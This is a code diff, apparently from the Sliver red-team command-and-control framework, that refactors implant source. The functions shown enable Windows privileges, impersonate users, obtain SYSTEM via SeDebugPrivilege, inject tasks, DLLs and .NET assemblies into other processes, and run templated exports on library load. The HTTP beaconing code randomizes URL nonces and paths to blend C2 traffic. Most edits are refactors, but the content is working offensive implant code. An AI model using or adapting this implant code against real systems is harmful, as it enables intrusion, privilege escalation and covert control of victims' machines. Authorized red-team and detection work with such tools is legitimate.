data, err = p.cipherCtx.DecryptWithoutSignatureCheck(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Decryption error: %s", err)
|
||||
|
||||
@@ -63,10 +63,8 @@ var CurrentToken windows.Token
|
||||
|
||||
func SePrivEnable(s string) error {
|
||||
var tokenHandle windows.Token
|
||||
thsHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
thsHandle := windows.CurrentProcess()
|
||||
|
||||
windows.OpenProcessToken(
|
||||
//r, a, e := procOpenProcessToken.Call(
|
||||
thsHandle, // HANDLE ProcessHandle,
|
||||
@@ -74,7 +72,7 @@ func SePrivEnable(s string) error {
|
||||
&tokenHandle, // PHANDLE TokenHandle
|
||||
)
|
||||
var luid windows.LUID
|
||||
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
|
||||
err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("LookupPrivilegeValueW failed", err)
|
||||
@@ -215,7 +213,9 @@ func impersonateUser(username string) (token windows.Token, err error) {
|
||||
err = fmt.Errorf("username can't be empty")
|
||||
return
|
||||
}
|
||||
p, err := ps.Processes()
|
||||
|
||||
// We do not need full process info here, just PID and executable name
|
||||
p, err := ps.Processes(false)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -422,7 +422,9 @@ func Impersonate(username string) (token windows.Token, err error) {
|
||||
func GetSystem(data []byte, hostingProcess string) (err error) {
|
||||
runtime.LockOSThread()
|
||||
defer runtime.UnlockOSThread()
|
||||
procs, _ := ps.Processes()
|
||||
|
||||
// Just need PID, not all info
|
||||
procs, _ := ps.Processes(false)
|
||||
for _, p := range procs {
|
||||
if p.Executable() == hostingProcess {
|
||||
err = SePrivEnable("SeDebugPrivilege")
|
||||
@@ -556,14 +558,7 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
var tokenInfoBufferSize uint32
|
||||
|
||||
// Get a handle for the current process
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("Could not get a handle for the current process: ", err)
|
||||
// {{end}}
|
||||
return nil, integrity, processName, err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
|
||||
// Get the PID for the current process
|
||||
sessionPID, err := windows.GetProcessId(currentProcHandle)
|
||||
@@ -574,8 +569,8 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
|
||||
log.Println("Could not get PID for current process: ", err)
|
||||
// {{end}}
|
||||
} else {
|
||||
// Get process info for the current PID
|
||||
processInformation, err := ps.FindProcess(int(sessionPID))
|
||||
// Get process info for the current PID, do not need full info
|
||||
processInformation, err := ps.FindProcess(int(sessionPID), false)
|
||||
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -36,16 +36,16 @@ type Process interface {
|
||||
// called. Some operating systems don't provide snapshot capability of the
|
||||
// process table, in which case the process table returned might contain
|
||||
// ephemeral entities that happened to be running when this was called.
|
||||
func Processes() ([]Process, error) {
|
||||
return processes()
|
||||
func Processes(fullInfo bool) ([]Process, error) {
|
||||
return processes(fullInfo)
|
||||
}
|
||||
|
||||
// FindProcess looks up a single process by pid.
|
||||
//
|
||||
// Process will be nil and error will be nil if a matching process is
|
||||
// not found.
|
||||
func FindProcess(pid int) (Process, error) {
|
||||
return findProcess(pid)
|
||||
func FindProcess(pid int, fullInfo bool) (Process, error) {
|
||||
return findProcess(pid, fullInfo)
|
||||
}
|
||||
|
||||
// Kill finds a process from a PID and terminates it.
|
||||
|
||||
@@ -48,8 +48,8 @@ func (p *DarwinProcess) Architecture() string {
|
||||
return p.arch
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
func findProcess(pid int, fullInfo bool) (Process, error) {
|
||||
ps, err := processes(fullInfo)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -63,7 +63,7 @@ func findProcess(pid int) (Process, error) {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
func processes() ([]Process, error) {
|
||||
func processes(fullInfo bool) ([]Process, error) {
|
||||
var owner string
|
||||
buf, _, err := procInfoSyscall()
|
||||
if err != nil {
|
||||
@@ -92,29 +92,39 @@ func processes() ([]Process, error) {
|
||||
binPath, _ = pCommReader.ReadString(0x00)
|
||||
}
|
||||
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
|
||||
u, err := user.LookupId(uid)
|
||||
if err != nil {
|
||||
owner = uid
|
||||
if fullInfo {
|
||||
// Discard the error: if the call errors out, we'll just have an empty argv slice
|
||||
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
|
||||
|
||||
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
|
||||
u, err := user.LookupId(uid)
|
||||
if err != nil {
|
||||
owner = uid
|
||||
} else {
|
||||
owner = u.Username
|
||||
}
|
||||
if owner == "" {
|
||||
owner = uid
|
||||
}
|
||||
arch := ""
|
||||
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
ppid: int(p.Eproc.Ppid),
|
||||
binary: binPath,
|
||||
owner: owner,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
}
|
||||
} else {
|
||||
owner = u.Username
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
ppid: int(p.Eproc.Ppid),
|
||||
binary: binPath,
|
||||
}
|
||||
}
|
||||
if owner == "" {
|
||||
owner = uid
|
||||
}
|
||||
arch := ""
|
||||
|
||||
darwinProcs[i] = &DarwinProcess{
|
||||
pid: int(p.Proc.P_pid),
|
||||
ppid: int(p.Eproc.Ppid),
|
||||
binary: binPath,
|
||||
owner: owner,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
}
|
||||
}
|
||||
|
||||
return darwinProcs, nil
|
||||
|
||||
@@ -1,3 +1,4 @@
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package ps
|
||||
@@ -151,8 +152,8 @@ func (p *UnixProcess) Refresh() error {
|
||||
return err
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
func findProcess(pid int, fullInfo bool) (Process, error) {
|
||||
ps, err := processes(fullInfo)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -164,7 +165,7 @@ func findProcess(pid int) (Process, error) {
|
||||
return nil, fmt.Errorf("no process found for pid %d", pid)
|
||||
}
|
||||
|
||||
func processes() ([]Process, error) {
|
||||
func processes(fullInfo bool) ([]Process, error) {
|
||||
d, err := os.Open("/proc")
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -201,6 +202,10 @@ func processes() ([]Process, error) {
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
if !fullInfo {
|
||||
results = append(results, p)
|
||||
continue
|
||||
}
|
||||
p.owner, err = getProcessOwner(int(pid))
|
||||
if err != nil {
|
||||
continue
|
||||
|
||||
@@ -5,12 +5,13 @@ package ps
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
"runtime"
|
||||
"strings"
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// WindowsProcess is an implementation of Process for Windows.
|
||||
@@ -52,7 +53,7 @@ func (p *WindowsProcess) SessionID() int {
|
||||
return p.sessionID
|
||||
}
|
||||
|
||||
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
|
||||
func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess {
|
||||
// Find when the string ends for decoding
|
||||
end := 0
|
||||
for {
|
||||
@@ -61,24 +62,33 @@ func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
|
||||
}
|
||||
end++
|
||||
}
|
||||
account, _ := getProcessOwner(e.ProcessID)
|
||||
sessionID, _ := getSessionID(e.ProcessID)
|
||||
cmdLine, _ := getCmdLine(e.ProcessID)
|
||||
arch, _ := getProcessArchitecture(e.ProcessID)
|
||||
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
ppid: int(e.ParentProcessID),
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
owner: account,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
sessionID: sessionID,
|
||||
if fullInfo {
|
||||
account, _ := getProcessOwner(e.ProcessID)
|
||||
sessionID, _ := getSessionID(e.ProcessID)
|
||||
cmdLine, _ := getCmdLine(e.ProcessID)
|
||||
arch, _ := getProcessArchitecture(e.ProcessID)
|
||||
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
ppid: int(e.ParentProcessID),
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
owner: account,
|
||||
cmdLine: cmdLine,
|
||||
arch: arch,
|
||||
sessionID: sessionID,
|
||||
}
|
||||
} else {
|
||||
return &WindowsProcess{
|
||||
pid: int(e.ProcessID),
|
||||
ppid: int(e.ParentProcessID),
|
||||
exe: syscall.UTF16ToString(e.ExeFile[:end]),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func findProcess(pid int) (Process, error) {
|
||||
ps, err := processes()
|
||||
func findProcess(pid int, fullInfo bool) (Process, error) {
|
||||
ps, err := processes(fullInfo)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -125,7 +135,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
|
||||
return
|
||||
}
|
||||
defer syscall.CloseHandle(handle)
|
||||
|
||||
|
||||
var token syscall.Token
|
||||
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
|
||||
return
|
||||
@@ -141,7 +151,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func processes() ([]Process, error) {
|
||||
func processes(fullInfo bool) ([]Process, error) {
|
||||
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
@@ -156,7 +166,7 @@ func processes() ([]Process, error) {
|
||||
|
||||
results := make([]Process, 0, 50)
|
||||
for {
|
||||
results = append(results, newWindowsProcess(&entry))
|
||||
results = append(results, newWindowsProcess(&entry, fullInfo))
|
||||
|
||||
err = syscall.Process32Next(handle, &entry)
|
||||
if err != nil {
|
||||
@@ -249,7 +259,6 @@ func getCmdLine(pid uint32) ([]string, error) {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
|
||||
}
|
||||
|
||||
|
||||
err = syscall.CloseHandle(proc)
|
||||
if err != nil {
|
||||
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
|
||||
@@ -269,7 +278,7 @@ func getProcessArchitecture(pid uint32) (string, error) {
|
||||
nativeArch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle, _ := windows.GetCurrentProcess()
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
nativeArch = ""
|
||||
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
|
||||
+12
-7
@@ -3,11 +3,13 @@
|
||||
#ifdef __WIN32
|
||||
#include <windows.h>
|
||||
|
||||
void StartW();
|
||||
// {{range .Config.Exports}}
|
||||
void {{.}}();
|
||||
// {{end}}
|
||||
|
||||
DWORD WINAPI Start()
|
||||
{
|
||||
StartW();
|
||||
{{ (index .Config.Exports 0) }}();
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -43,27 +45,30 @@ BOOL WINAPI DllMain(
|
||||
#elif __linux__
|
||||
#include <stdlib.h>
|
||||
|
||||
void StartW();
|
||||
// {{range .Config.Exports}}
|
||||
void {{.}}();
|
||||
// {{end}}
|
||||
|
||||
static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
unsetenv("LD_PRELOAD");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
{{ (index .Config.Exports 0) }}();
|
||||
// {{end}}
|
||||
}
|
||||
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
|
||||
#elif __APPLE__
|
||||
#include <stdlib.h>
|
||||
void StartW();
|
||||
|
||||
// {{range .Config.Exports}}
|
||||
void {{.}}();
|
||||
// {{end}}
|
||||
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
|
||||
{
|
||||
unsetenv("DYLD_INSERT_LIBRARIES");
|
||||
unsetenv("LD_PARAMS");
|
||||
// {{if .Config.RunAtLoad}}
|
||||
StartW();
|
||||
{{ (index .Config.Exports 0) }}();
|
||||
// {{end}}
|
||||
}
|
||||
|
||||
|
||||
@@ -113,42 +113,15 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
|
||||
var isRunning bool = false
|
||||
|
||||
// StartW - Export for shared lib build
|
||||
//
|
||||
//export StartW
|
||||
func StartW() {
|
||||
// {{range .Config.Exports}}
|
||||
//export {{.}}
|
||||
func {{.}} () {
|
||||
if !isRunning {
|
||||
isRunning = true
|
||||
main()
|
||||
}
|
||||
}
|
||||
|
||||
// Thanks Ne0nd0g for those
|
||||
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
|
||||
|
||||
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
|
||||
//
|
||||
//export VoidFunc
|
||||
func VoidFunc() { main() }
|
||||
|
||||
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
|
||||
//
|
||||
//export DllInstall
|
||||
func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
//
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
//
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
func main() {
|
||||
|
||||
@@ -144,13 +144,7 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
if processHandle == 0 {
|
||||
return err
|
||||
}
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -314,13 +308,8 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
|
||||
}
|
||||
defer windows.CloseHandle(handle)
|
||||
defer windows.CloseHandle(lpTargetHandle)
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
|
||||
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -366,13 +355,7 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle, err := windows.GetCurrentProcess()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Println("GetCurrentProcess failed")
|
||||
// {{end}}
|
||||
return "", err
|
||||
}
|
||||
currentProcHandle := windows.CurrentProcess()
|
||||
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
|
||||
@@ -29,6 +29,7 @@ import (
|
||||
insecureRand "math/rand"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"path"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
@@ -50,6 +51,8 @@ var (
|
||||
|
||||
userAgent = "{{GenerateUserAgent}}"
|
||||
NonceQueryArgChars = "{{.HTTPC2ImplantConfig.NonceQueryArgChars}}" // "abcdefghijklmnopqrstuvwxyz"
|
||||
NonceQueryLength = "{{.HTTPC2ImplantConfig.NonceQueryLength}}" // 8
|
||||
NonceMode = "{{.HTTPC2ImplantConfig.NonceMode}}" // Url or UrlParam
|
||||
|
||||
ErrClosed = errors.New("http session closed")
|
||||
ErrStatusCodeUnexpected = errors.New("unexpected http response code")
|
||||
@@ -196,17 +199,35 @@ func (s *SliverHTTPClient) SessionInit() error {
|
||||
|
||||
// NonceQueryArgument - Adds a nonce query argument to the URL
|
||||
func (s *SliverHTTPClient) NonceQueryArgument(uri *url.URL, value uint64) *url.URL {
|
||||
values := uri.Query()
|
||||
key := NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))]
|
||||
argValue := fmt.Sprintf("%d", value)
|
||||
for i := 0; i < insecureRand.Intn(3); i++ {
|
||||
index := insecureRand.Intn(len(argValue))
|
||||
char := string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
argValue = argValue[:index] + char + argValue[index:]
|
||||
}
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
|
||||
if NonceMode == "UrlParam" {
|
||||
values := uri.Query()
|
||||
var key string
|
||||
length, _ := strconv.Atoi(NonceQueryLength)
|
||||
for i := 0; i < length; i++ {
|
||||
key += string(NonceQueryArgChars[insecureRand.Intn(len(NonceQueryArgChars))])
|
||||
}
|
||||
|
||||
values.Add(string(key), argValue)
|
||||
uri.RawQuery = values.Encode()
|
||||
return uri
|
||||
} else {
|
||||
segments := strings.Split(uri.Path, "/")
|
||||
extension := path.Ext(segments[len(segments)-1])
|
||||
index := insecureRand.Intn(len(segments))
|
||||
segments[index] = argValue
|
||||
if index == len(segments)-1 {
|
||||
segments[index] += extension
|
||||
}
|
||||
uri.Path = strings.Join(segments, "/")
|
||||
return uri
|
||||
}
|
||||
}
|
||||
|
||||
// OTPQueryArgument - Adds an OTP query argument to the URL
|
||||
@@ -283,7 +304,7 @@ func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.R
|
||||
}
|
||||
queryParams := req.URL.Query()
|
||||
for _, param := range extraURLParams {
|
||||
if len(param.Method)>0 && param.Method != method {
|
||||
if len(param.Method) > 0 && param.Method != method {
|
||||
continue
|
||||
}
|
||||
probability, _ := strconv.Atoi(param.Probability)
|
||||
@@ -429,7 +450,7 @@ func (s *SliverHTTPClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
if s.SessionID == "" {
|
||||
return nil, errors.New("no session")
|
||||
}
|
||||
uri := s.parseSegments(0)
|
||||
uri := s.parseSegments()
|
||||
nonce, encoder := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -504,7 +525,7 @@ func (s *SliverHTTPClient) WriteEnvelope(envelope *pb.Envelope) error {
|
||||
return err
|
||||
}
|
||||
|
||||
uri := s.parseSegments(1)
|
||||
uri := s.parseSegments()
|
||||
nonce, encoder := encoders.RandomEncoder(len(reqData))
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
encodedValue, _ := encoder.Encode(reqData)
|
||||
@@ -552,7 +573,7 @@ func (s *SliverHTTPClient) CloseSession() error {
|
||||
s.pollCancel = nil
|
||||
|
||||
// Tell server session is closed
|
||||
uri := s.parseSegments(2)
|
||||
uri := s.parseSegments()
|
||||
nonce, _ := encoders.RandomEncoder(0)
|
||||
s.NonceQueryArgument(uri, nonce)
|
||||
req := s.newHTTPRequest(http.MethodGet, uri, nil)
|
||||
@@ -588,74 +609,43 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
|
||||
return strings.Join(segments, "/")
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) parseSegments(segmentType int) *url.URL {
|
||||
func (s *SliverHTTPClient) parseSegments() *url.URL {
|
||||
curl, _ := url.Parse(s.Origin)
|
||||
var (
|
||||
pollFiles []string
|
||||
pollPaths []string
|
||||
sessionFiles []string
|
||||
sessionPaths []string
|
||||
closePaths []string
|
||||
closeFiles []string
|
||||
files []string
|
||||
paths []string
|
||||
extensions []string
|
||||
)
|
||||
|
||||
// {{range .HTTPC2ImplantConfig.PathSegments}}
|
||||
// {{if eq .SegmentType 0 }}
|
||||
// {{if .IsFile}}
|
||||
pollFiles = append(pollFiles, "{{.Value}}")
|
||||
files = append(files, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
pollPaths = append(pollPaths, "{{.Value}}")
|
||||
paths = append(paths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .SegmentType 1}}
|
||||
// {{if .IsFile}}
|
||||
sessionFiles = append(sessionFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
sessionPaths = append(sessionPaths, "{{.Value}}")
|
||||
// {{range $extension := .HTTPC2ImplantConfig.Extensions}}
|
||||
extensions = append(extensions, "{{$extension}}")
|
||||
// {{end}}
|
||||
|
||||
// {{end}}
|
||||
// {{if eq .SegmentType 2}}
|
||||
// {{if .IsFile}}
|
||||
closeFiles = append(closeFiles, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{if not .IsFile }}
|
||||
closePaths = append(closePaths, "{{.Value}}")
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
// {{end}}
|
||||
|
||||
switch segmentType {
|
||||
case 0:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(pollPaths, pollFiles, "{{ .HTTPC2ImplantConfig.PollFileExtension }}"))
|
||||
case 1:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(sessionPaths, sessionFiles, "{{ .HTTPC2ImplantConfig.SessionFileExtension }}"))
|
||||
case 2:
|
||||
curl.Path = s.pathJoinURL(s.randomPath(closePaths, closeFiles, "{{.HTTPC2ImplantConfig.CloseFileExtension}}"))
|
||||
default:
|
||||
return nil
|
||||
}
|
||||
curl.Path = s.pathJoinURL(s.randomPath(paths, files, extensions))
|
||||
|
||||
return curl
|
||||
}
|
||||
|
||||
func (s *SliverHTTPClient) startSessionURL() *url.URL {
|
||||
sessionURI := s.parseSegments(1)
|
||||
uri := strings.TrimSuffix(sessionURI.String(), "{{ .HTTPC2ImplantConfig.SessionFileExtension }}")
|
||||
uri += "{{ .HTTPC2ImplantConfig.StartSessionFileExtension }}"
|
||||
curl, _ := url.Parse(uri)
|
||||
curl := s.parseSegments()
|
||||
return curl
|
||||
}
|
||||
|
||||
// Must return at least a file name, path segments are optional
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext string) []string {
|
||||
func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, exts []string) []string {
|
||||
genSegments := []string{}
|
||||
if 0 < len(segments) {
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPaths}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPaths}}")
|
||||
min, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MinPathLength}}")
|
||||
max, _ := strconv.Atoi("{{.HTTPC2ImplantConfig.MaxPathLength}}")
|
||||
n := insecureRand.Intn(max-min+1) + min // How many segments?
|
||||
for index := 0; index < n; index++ {
|
||||
seg := segments[insecureRand.Intn(len(segments))]
|
||||
@@ -663,11 +653,14 @@ func (s *SliverHTTPClient) randomPath(segments []string, filenames []string, ext
|
||||
}
|
||||
}
|
||||
filename := filenames[insecureRand.Intn(len(filenames))]
|
||||
ext := exts[insecureRand.Intn(len(exts))]
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[http] segments = %v, filename = %s, ext = %s", genSegments, filename, ext)
|
||||
// {{end}}
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
if ext != "" {
|
||||
genSegments = append(genSegments, fmt.Sprintf("%s.%s", filename, ext))
|
||||
}
|
||||
return genSegments
|
||||
}
|
||||
|
||||
|
||||
@@ -329,7 +329,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
|
||||
// {{end}}
|
||||
return nil, err
|
||||
}
|
||||
data, err = p.peerCipherCtx.Decrypt(data)
|
||||
data, err = p.peerCipherCtx.DecryptWithoutSignatureCheck(data)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[pivot] Peer decryption error: %s", err)
|
||||
|
||||
@@ -81,16 +81,16 @@ func getOSVersion() string {
|
||||
arch = "x86_64"
|
||||
} else {
|
||||
var is64Bit bool
|
||||
pHandle, _ := windows.GetCurrentProcess()
|
||||
pHandle := windows.CurrentProcess()
|
||||
if uint(pHandle) == 0 {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error getting OS version: error getting current process handle: %v")
|
||||
log.Printf("error getting OS version: error getting current process handle")
|
||||
//{{end}}
|
||||
arch = "<error getting arch>"
|
||||
}
|
||||
if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("error getting OS version: error checking if running in WOW: %v")
|
||||
log.Printf("error getting OS version: error checking if running in WOW: %v", err)
|
||||
//{{end}}
|
||||
arch = "<error getting arch>"
|
||||
} else {
|
||||
|
||||
+1958
-2147
File diff suppressed because it is too large.
Load diff
@@ -182,6 +182,7 @@ message ImplantConfig {
|
||||
bool IsShellcode = 104;
|
||||
bool RunAtLoad = 105;
|
||||
string DebugFile = 106;
|
||||
repeated string exports = 107;
|
||||
|
||||
string HTTPC2ConfigName = 150;
|
||||
bool NetGoEnabled = 151;
|
||||
@@ -358,6 +359,7 @@ message ListenerJob {
|
||||
DNSListenerReq DNSConf = 6;
|
||||
HTTPListenerReq HTTPConf = 7;
|
||||
MultiplayerListenerReq MultiConf = 8;
|
||||
StagerListenerReq TCPConf = 9;
|
||||
}
|
||||
|
||||
message MultiplayerListenerReq {
|
||||
@@ -490,10 +492,7 @@ message StagerListenerReq {
|
||||
string Host = 2;
|
||||
uint32 Port = 3;
|
||||
bytes Data = 4;
|
||||
bytes Cert = 5;
|
||||
bytes Key = 6;
|
||||
bool ACME = 7;
|
||||
string ProfileName = 8;
|
||||
string ProfileName = 5;
|
||||
}
|
||||
|
||||
message StagerListener { uint32 JobID = 1; }
|
||||
@@ -506,19 +505,6 @@ message ShellcodeRDIReq {
|
||||
|
||||
message ShellcodeRDI { bytes Data = 1; }
|
||||
|
||||
message MsfStagerReq {
|
||||
string Arch = 1;
|
||||
string Format = 2;
|
||||
uint32 Port = 3;
|
||||
string Host = 4;
|
||||
string OS = 5; // reserved for future usage
|
||||
StageProtocol Protocol = 6;
|
||||
repeated string BadChars = 7;
|
||||
string HTTPC2ConfigName = 9;
|
||||
}
|
||||
|
||||
message MsfStager { commonpb.File File = 1; }
|
||||
|
||||
// GetSystemReq - Client request to the server which is translated into
|
||||
// InvokeSystemReq when sending to the implant.
|
||||
message GetSystemReq {
|
||||
@@ -781,18 +767,18 @@ message HTTPC2ImplantConfig {
|
||||
repeated HTTPC2URLParameter ExtraURLParameters = 6;
|
||||
repeated HTTPC2Header Headers = 7;
|
||||
|
||||
int32 MaxFiles = 8;
|
||||
int32 MinFiles = 9;
|
||||
int32 MaxPaths = 10;
|
||||
int32 MinPaths = 11;
|
||||
int32 MaxFileGen = 8;
|
||||
int32 MinFileGen = 9;
|
||||
int32 MaxPathGen = 10;
|
||||
int32 MinPathGen = 11;
|
||||
int32 MaxPathLength = 12;
|
||||
int32 MinPathLength = 13;
|
||||
|
||||
string StagerFileExtension = 12;
|
||||
string PollFileExtension = 13;
|
||||
string StartSessionFileExtension = 14;
|
||||
string SessionFileExtension = 15;
|
||||
string CloseFileExtension = 16;
|
||||
repeated string extensions = 14;
|
||||
|
||||
repeated HTTPC2PathSegment PathSegments = 17;
|
||||
int32 NonceQueryLength = 18;
|
||||
string NonceMode =19;
|
||||
}
|
||||
|
||||
message HTTPC2Cookie {
|
||||
@@ -829,8 +815,7 @@ message HTTPC2PathSegment {
|
||||
